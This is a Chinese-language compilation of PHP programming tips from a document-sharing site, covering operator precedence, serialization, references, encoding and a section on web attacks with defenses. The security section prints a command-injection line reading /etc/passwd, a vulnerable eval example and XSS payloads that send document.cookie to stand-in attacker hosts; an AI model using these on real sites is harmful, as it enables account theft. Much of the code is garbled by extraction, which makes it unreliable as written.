汇总PHP编程注意事项.doc
《汇总PHP编程注意事项.doc》由会员分享,可在线阅读,更多相关《汇总PHP编程注意事项.doc(20页珍藏版)》请在咨信网上搜索。
1、汇总PHP编程注意事项1、php隐性的三元操作符(?:)优先级问题:例1:$person = $who or $person = laruence;/实际上是等同于:$person = empty($who)? laruence : $who;例2: $arr = array(1=1,3=3);$i = 2;$a = test . isset($arr$i) ? $arr$i : $i;$a 是什么? 这个问题, 咋一看觉得简单,$a = test2;其实仔细推敲后运行的,结果是notice:Undefined index 2. 由于优先级的问题, 连接符的优先级比三元操作符高。首先是判断 t
2、est. isset($arr$i) 这个字符串永远是true,因此:$a = $arr$i;以致php提示提醒。2. PHP函数名和类名不区分大小写的,而变量名是区分大小写的。所以自己写的php模块,往往是大写的问题,编译不通过。3.序列化传递问题把复杂的数据类型压缩到一个字符串中serialize()把变量和它们的值编码成文本形式,unserialize() 恢复原先变量$stooges = array(Moe,Larry,Curly);$new = serialize($stooges);echo ;print_r($new);echo ;print_r(unserialize($new
3、);echo ;序列化结果:a:3:i:0;s:3:Moe;i:1;s:5:Larry;i:2;s:5:Curly;反序列化结果:Array ( 0 = Moe 1 = Larry 2 = Curly )当把这些序列化的数据放在URL中在页面之间会传递时,需要对这些数据调用urlencode(),以确保在其中的URL元字符进行处理:$shopping = array( Poppy seed bagel = 2, Plain Bagel =1, Lox =4,);echo next;margic_quotes_gpc和magic_quotes_runtime配置项的设置会影响传递到unseria
4、lize()中的数据。 如果magic_quotes_gpc项是启用的,那么在URL、POST变量以及cookies中传递的数据在反序列化之前必须用stripslashes()进行处理:$new_cart = unserialize(stripslashes($cart); /如果magic_quotes_gpc开启$new_cart = unserialize($cart);如果magic_quotes_runtime是启用的,那么在向文件中写入序列化的数据之前必须用addslashes()进行处理,而在读取它们之前则必须用stripslashes()进行处理: $fp = fopen(/t
5、mp/cart,w);fputs($fp,addslashes(serialize($a);fclose($fp);/如果magic_quotes_runtime开启$new_cat = unserialize(stripslashes(file_get_contents(/tmp/cart);/如果magic_quotes_runtime关闭$new_cat = unserialize(file_get_contents(/tmp/cart);在启用了magic_quotes_runtime的情况下,从数据库中读取序列化的数据也必须经过stripslashes()的处理,保存到数据库中的序列
6、化数据必须要经过addslashes()的处理,以便能够适当地存储。 mysql_query(insert into cart(id,data) values(1,.addslashes(serialize($cart).);$rs = mysql_query(select data from cart where id=1);$ob = mysql_fetch_object($rs);/如果magic_quotes_runtime开启$new_cart = unserialize(stripslashes($ob-data);/如果magic_quotes_runtime关闭$new_car
7、t = unserialize($ob-data);当对一个对象进行反序列化操作时,PHP会自动地调用其_wakeUp()方法。这样就使得对象能够重新建立起序列化时未能保留的各种状态。例如:数据库连接等。4. 引用注意事项PHP中引用意味着用不同的名字访问同一个变量内容,引用不是C的指针(语言中的指针里面存储的是变量的内容,在内存中存放的地址),是变量的另外一个别名或者映射。注意在 PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的紧密连接或者wi
8、ns的快捷方式。1)unset 一个引用,只是断开了变量名和变量内容之间的绑定。这并不意味着变量内容被销毁了,例如:不会 unset $b,只是 $a。?php $a = 1;$b =&$a;unset($a);echo $b; /输出:1使用unset($a)与$a=null的结果是不一样的。如果该块内存只有$a一个映射,那么unset($a)与$a=null等价,该内存的引用计数变为0,被自动回收。如果该块内存有$a和$b两个映射,那么unset($a)将导致$a=null且$b不变的情况,而$a=null会导致$a=$b=null的情况。原因:某变量赋值为null,将导致该变量对应的内存
9、块的引用计数直接置为0,被自动回收。2)PHP引用是采用引用计数、写时拷贝很多人误解PHP中的引用跟C当中的指针一样,事实上并非如此,而且很大差别。C语言中的指针除了在数组传递过程中不用显式申明外,其他都需要使用*进行定义,而PHP中对于地址的指向(类似指针)功能不是由用户自己来实现的,是由 Zend核心实现的,PHP中引用采用的是“引用计数、写时拷贝”的原理,(写时复制(Copy-on-Write,也缩写为COW),顾名思义,就是在 写入时才真正复制一份内存进行修改。)就是除非发生写操作,指向同一个地址的变量或者对象是不会被拷贝的,比如下面的代码:$a = array(a,c.n);$b =
10、 $a;如果程序仅执行到这里,$b和$b是相同的,但是并没有像C那样,$a和$b占用不同的内存空间,而是指向了同一块内存,这就是php和c的差别,并不需 要写成$b=&$a才表示$b指向$a的内存,zend就已经帮你实现了引用,并且zend会非常智能的帮你去判断什么时候该这样处理,什么时候 不该这样处理。如果在后面继续写如下代码,增加一个函数,通过引用的方式传递参数,并打印输出数组大小。function printArray(&$arr) /引用传递 print(count($arr);printArray($a);上面的代码中,我们通过引用把$a数组传入printArray()函数,zend
11、引擎会认为printArray()可能会导致对$a的改变,此时就会自动为$b生产一个$a的数据拷贝,重新申请一块内存进行存储。这就是前面提到的“引用计数、写时拷贝”概念。 直观的理解:$a将使用自己原始的内存空间,而$b,则会使用新开辟的内存空间,而这个空间将使用$a的原始($a或者$b改变之前)内容空间的内容的拷贝,然后做对应的改变。如果我们把上面的代码改成下面这样:function printArray($arr) /值传递 print(count($arr);printArray($a);上面的代码直接传递$a值到printArray()中,此时并不存在引用传递,所以没有出现写时拷贝。具
12、体了解引用请看:PHP中引用的详解(引用计数、写时拷贝) 5. 编码的问题程序代码使用utf-8码,而strlen函数是计算字符串的字节数而不是字符数?$str = 您好hello;echo strlen($str);结果: ANSI=9 而utf-8=11,utf-8中文字符编码是3个字节。要获取字符数,使用mb_strlen()6. PHP获取参数的三种方法方法一:使用$argc $argv 1) print_r($argv);在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456 运行结果:# /usr/local/php/bi
13、n/php ./getopt.php -f 123 -g 456Array( 0 = ./getopt.php 1 = -f 2 = 123 3 = -g 4 = 456)方法二:使用getopt()函数$options = f:g:;$opts = getopt($options);print_r($opts);在命令行下运行 /usr/local/php/bin/php ./getopt.php -f 123 -g 456运行结果:Array( f = 123 g = 456)方法三:提示用户输入,然后获取输入的参数,有点像C语言 fwrite(STDOUT, Enter your nam
14、e: );$name = trim(fgets(STDIN);fwrite(STDOUT, Hello, $name!);在命令行下运行 /usr/local/php/bin/php ./getopt.php 运行结果Enter your name: francisHello, francis!7. php的字符串即可以当做数组,和c指针字符串一样结果是10345 8. PHP的高效率写法:请看:PHP高效率写法(详解原因)9. PHP的安全漏洞问题:针对PHP的网站主要存在下面几种攻击方式:1)命令注入(Command Injection)PHP中可以使用下列5个函数来执行外部的应用程序或函
15、数 system、exec、passthru、shell_exec、“(与shell_exec功能相同)如:我们提交 cat /etc/passwd,命令变成了 system(ls -al | cat /etc/passwd); 我们服务器用户信息被窃看了吧。2)eval注入(Eval Injection)eval函数将输入的字符串参数当作PHP程序代码来执行,eval注入一般发生在攻击者能控制输入的字符串的时候。$var = var;if (isset($_GETarg) $arg = $_GETarg; eval($var = $arg;); echo $var =.$var;当我们提交防
16、范命令注入和eval注入的方法1)、尽量不要执行外部命令。2)、使用自定义函数或函数库来替代外部命令的功能,甚至有些服务器直接禁止使用这些函数。3)、使用escapeshellarg函数来处理命令参数,esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“”,替换成“”,双引号“”,替换成“”,分号“;”替换成“;”3)客户端脚本攻击(Script Insertion)客户端脚本植入的攻击步骤1)、攻击者注册普通用户后登陆网站2)、打开留言页面,插入攻击的js代码3)、其他用户登录网站(包括管理员),浏览此留言的内容4)、隐藏在留言内容中的js代码被执行,攻击成功表单输
17、入一些浏览器可以执行的脚本:插入 while(1)windows.open(); 无限弹框插入location.href=; 跳转钓鱼页面防止恶意HTML标签的最好办法是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。 4)跨网站脚本攻击(Cross Site Scripting, XSS)恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录
18、网站,获得此用户的权限。跨站脚本攻击的一般步骤:1)、攻击者以某种方式发送xss的http链接给目标用户,例如评论表单:插入document.location= “go.somewhere.bad?cookie=+“this.cookie或者是链接:http:/w w w.my.site/index.php?user=document.location=http:/w w w.atacker.site/get.php?cookie=+document.cookie;2)、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接3)、网站执行了此xss攻击脚本4)、目标用户页面跳转到攻击者的网
19、站,攻击者取得了目标用户的信息5)、攻击者使用目标用户的信息登录网站,完成攻击防止恶意HTML标签的最好办法还是使用htmlspecailchars或者htmlentities使某些字符串转为html实体。5)SQL注入攻击(SQL injection)SQL注入最有效的防御方式是使用准备语句:准备语句(也叫预备语句 prepared statements),是一种查询,先将他们发送到服务器进行预编译和准备,并且在以后的执行这个查询时告诉它存储参数的位置。其优点:1)对参数值进行转义。因此不必调用像mysqli:real_escape_string或者将参数放在引号中。2)当在一个脚本中多次执
20、行时,预备语句的性能通常好于每次都通过网络发送查询,当再次执行一个查询时,只将参数发送到数据库,这占用的空间比较少。用PDO(PHP Data Objects ):PHP PDO:prepare() and execute()$preparedStatement = $db-prepare(INSERT INTO table (column) VALUES (:column);$preparedStatement-execute(array(:column = $unsafeValue)使用mysqli:$stmt = $dbConnection-prepare(SELECT * FROM e
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 汇总 PHP 编程 注意事项
1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前自行私信或留言给上传者【二***】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时私信或留言给本站上传会员【二***】,需本站解决可联系【 微信客服】、【 QQ客服】,若有其他问题请点击或扫码反馈【 服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【 版权申诉】”(推荐),意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:4008-655-100;投诉/维权电话:4009-655-100。